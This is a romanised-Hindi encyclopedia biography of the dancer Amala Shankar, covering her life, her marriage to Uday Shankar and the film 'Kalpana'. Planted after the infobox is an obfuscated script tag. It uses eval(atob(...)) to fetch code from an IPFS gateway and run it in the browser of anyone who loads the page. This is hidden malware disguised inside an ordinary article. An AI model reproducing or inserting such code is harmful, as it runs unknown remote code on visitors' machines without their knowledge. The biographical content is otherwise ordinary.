अमला शंकर

amala shankar
amala shankar|200px|center
poora nam	amala shankar
janm	27 joon, 1919
janm bhoomi	jesor
mrityu	24 julaee, 2020
mrityu sthan	kolakata
abhibhavak	pita- akshay kumar nandi
pati/patni	uday shankar
santan	putr- anand shankar, putri- mamata shankar
karm bhoomi	bharat
karm-kshetr	nrityaangana v koriyographar
mukhy filmean	'kalh‍pana'
any janakari	film 'kalh‍pana' buri tarah phl aaup rahi thi, lekin yah alag bat hai ki aj isaki hiphajat kisi beshakimati nagine ki tarah ki jati hai aur san 2010 mean martin skorsesi ki kanpani varld sinema phauandeshan ne isake dijital sanrakshan ka jimma uthaya.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>amala shankar (aangrezi: Amala Shankar, janm- 27 joon, 1919, jesor; mrityu- 24 julaee, 2020, kolakata) mashahoor bharatiy nrityaangana evan koriyographar thian. vah apane samay ke prasiddh nartak evan koriyographar uday shankar ki patni aur diggaj sitar vadak pandit ravi shankar ki bhabhi thian. amala shankar ne us daur mean nrity ka prashikshan liya, jab mahilaoan ke nachane ko samaj mean hey drishh‍t‍i se dekha jata tha. kala ke kshetr mean unake yogadan ke lie pashchim bangal sarakar ne 2011 mean unh‍hean ‘bang vibhooshan’ se sammanit kiya tha. amala shankar ne sal 1948 mean 'kalh‍pana' philh‍m mean mukhh‍y bhoomika nibhaee thi. yah philh‍m uday shankar ne hi banaee thi. philh‍m ki kahani yuva nartakoan ke sapanoan aur nrity akadami par adharit thi. unake yogadan ko dekhate hue unh‍hean 2012 mean 'sangit naty akadami taigor rath‍n purash‍kar' bhi mila.

parichay

amala shankar ka janm 27 joon, 1919 mean jasor (ab baangladesh mean sthit) mean hua tha. unaka parivar shuruat se kala ke kshetr se ju da tha. 1930 mean unhoanne apane guru aur hone vale pati uday shankar se pahali bar mulakat ki thi. unaki umr tab matr 11 sal thi. apane hone vale pati yani aantarrashtriy khyati ke nartak uday shankar se huee pahali mulaqat ko yad karate hue amala shankar ne apane sansmaran ‘prem ka devata’ mean likha hai-

jin-jin karanoan se videshi bhoomi mean unase pahali bheant huee kitani bangali l dakiyoan ke jivan mean vaisa ghatit hota hai. yahaan tak ki vaisi ghatana aj bhi nahian ghata karatian. unaka mil pana sachamuch apane samay se kahian age ki bat thi.

uday shankar se mulakat

[[chitr:Uday-Shankar-and-Amla.jpg|thumb|250px|uday shankar ke sath amala shankar]] amala shankar ke pita akshay kumar nandi ka kalakatta mean ik aaun aaumik jyoolari varks nam se abhooshanoan ka karakhana tha. san 1931 ki bat hai jab unhean phraans ki ek eksapo mean apane utpadoan ki pradarshani lagane ka nyauta mila. ve apane samay ke lihaj se khase pragatishil adami rahe hoange kyoanki ve apani gyarah sal ki beti ko bhi vahaan le kar ge. ittaphakan samooche yoorop ke kala-sansar mean apani nrityakala ka loha manava chukane ke bad uday shankar bhi un dinoan phraans mean hi maujood the aur unhean us eksapo mean apani prastuti dene bulaya gaya tha. unake nrity ko dekhane ke bad ek bar mashahoor lekhak jems j aauyas ne apani beti ko likha tha- "vah stej par kisi ardh-devata ki tarah chalata hai. mera yakin mano is garib sansar mean ab bhi kuchh khoobasoorat chijean bachi huee haian".

akshay nandi uday shankar ke dost the. phraans mean donoan ki mulaqat honi hi thi. nrity kala sikh rahi, gyarah sal ki, phr aauk pahanane vali l daki tis sal ke uday shankar ko pahali bar dekh kar vismay se bhar gayi thi. eksapo mean amala shankar ne bhi apani prastuti di jise uday shankar ne dekha aur kuchh dinoan bad akshay nandi se use apani nrity-mandali ke yoorop toor ke lie maang liya. amala ka jivan poori tarah badal gaya. uday shankar ki nrity-mandali ke sath rahate hue usane yoorop ke sabase b de nagaroan mean samakalin kala ke utkrishtatam praroopoan se sakshatkar kiya. vapas bangal akar usane mahaj terah sal ki ayu mean ‘sat sagaroan ke par’ shirshak se apana yoorop-vrittant prakashit kiya. uday shankar saloan se yoorop mean hi base hue the. phir 1935 mean ek bar kalakatta ane par uday shankar ne tay kiya ki apani phord ga di se kalakatta se almo da ki yatra ki jaye. us yatra mean bhi amala ko sath jane ka mauqa mila. tab tak amala ke man mean uday shankar ke lie devatatuly samman ke sath-sath gahara ekatarapha prem bhi apani jagah bana chuka tha, lekin unake man mean, usi ke shabdoan mean romaans ke sath ghuli-mili lajja, duvidha aur kuchh-kuchh bhay bhi tha.

vivah

san 1939 mean uday shankar ne sabhi ko ashcharyachakit karate hue amala shankar se vivah karane ka phaisala liya. usi amala se jo apane bare mean sochati thi- "mere jaisi kali, thigani mahila aise supurush ko kabhi chhoo bhi sakati hai, aisi kalpana bhi nahian ki ja sakati thi". tin-char sal tak sab kuchh thik-thak chala, 1942 mean almo da mean unake putr anand ka janm hua.

filmi shuruat

is avadhi mean uday shankar ke drim projekt yani film ‘kalpana’ ki skript likhi gayi. git sumitranandan pant se likhavaye ge. phir paisoan ki kami ke karan almo da keandr band kar dena p da. yah uday shankar ke lie gahara dhakka tha lekin amala ne unhean samhal liya. usake bad ‘kalpana’ par kam shuroo hua. amala shankar ne udayan bane uday shankar ki nayika uma ka rol kiya aur film 1948 mean rilij huee. film buri tarah phl aaup rahi. yah alag bat hai ki aj isaki hiphajat kisi beshakimati nagine ki tarah ki jati hai aur san 2010 mean martin skorsesi ki kanpani varld sinema phauandeshan ne isake dijital sanrakshan ka jimma uthaya.

parivarik pareshaniyaan

baharahal vyaktigat jivan mean uday shankar ke sath ane-jane vali striyoan ko kisi tarah bardasht karate hue bhi 1955 mean amala shankar ne apani doosari santan yani mamata ko janm diya. uday shankar ki ayu ho rahi thi aur ve apani kala ke prasar ke lie ek b de sansthan ki sthapana karana chahate the taki nrity ka shankar gharana bacha rahe. 1965 mean aisa sansthan astitv mean a bhi gaya. kalakatta mean banae ge is sansthan mean amala shankar ko nirdeshak banaya gaya.

1968 mean amala shankar ke jivan mean ek aur toofan aya. a dasath sal ke uday shankar ne amala shankar ko chho d, ayu mean apane se bahut chhoti, kalakatte ke usi keandr ki ek chhatra anupama das ke sath rahane ka phaisala kiya. is hadase ko yad karate hue amala ne likha hai- "pata nahian kyoan uday shankar mean kaisi ek vichitr durbalata dikhaee dene lagi. is durbalata ke sath ek prakar ka nirarthak ahankar bodh mila hua tha. mujhe pata tha isaka phal un donoan ke lie aantatah mangal-janak nahian hoga. aantim dinoan mean uday shankar ne isake lie pashchatap bhi kiya tha, lekin tab tak mere bhitar prem ke sambandh ko lekar gahara avishvas paida ho chuka tha". uday shankar ne apani vasiyat mean apani sari dharohar anupama das ke nam kar di, jisamean ‘kalpana’ ka k aaupirait aur aitihasik mahattv ki anaginat chijean thian jinhean bad ke varshoan mean anupama ne kau diyoan ke dam bech dala.

jab tak sharir mean takat rahi, amala shankar kalakatta ke us nrity sansthan mean agale pachas varshoan tak uday shankar gharane ki nrity shaili ko jivit rakhe rahian. unako janane vale unhean shakti ke aise puanj ke roop mean yad rakhate haian jisane 1999 mean apane bete anand ki maut ke bad bhi nrity ki kakshaean lena band nahian kiya. 2012 mean 'kan film phestival' mean unhean ‘kalpana’ ke pradarshan ke lie bulaya gaya tha.

mrityu

101 sal ki umr poori karane ke bad 24 julaee, 2020 ko amala shankar khamoshi se is duniya se vida ho geean.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• mashahoor nrith‍yaangana amala shankar ka kolakata mean nidhan, Cannes mean bhi bikher chuki thian jalava
• diggaj nrityaangana amala shankar ka nidhan, 101 sal ki umr mean li aantim saans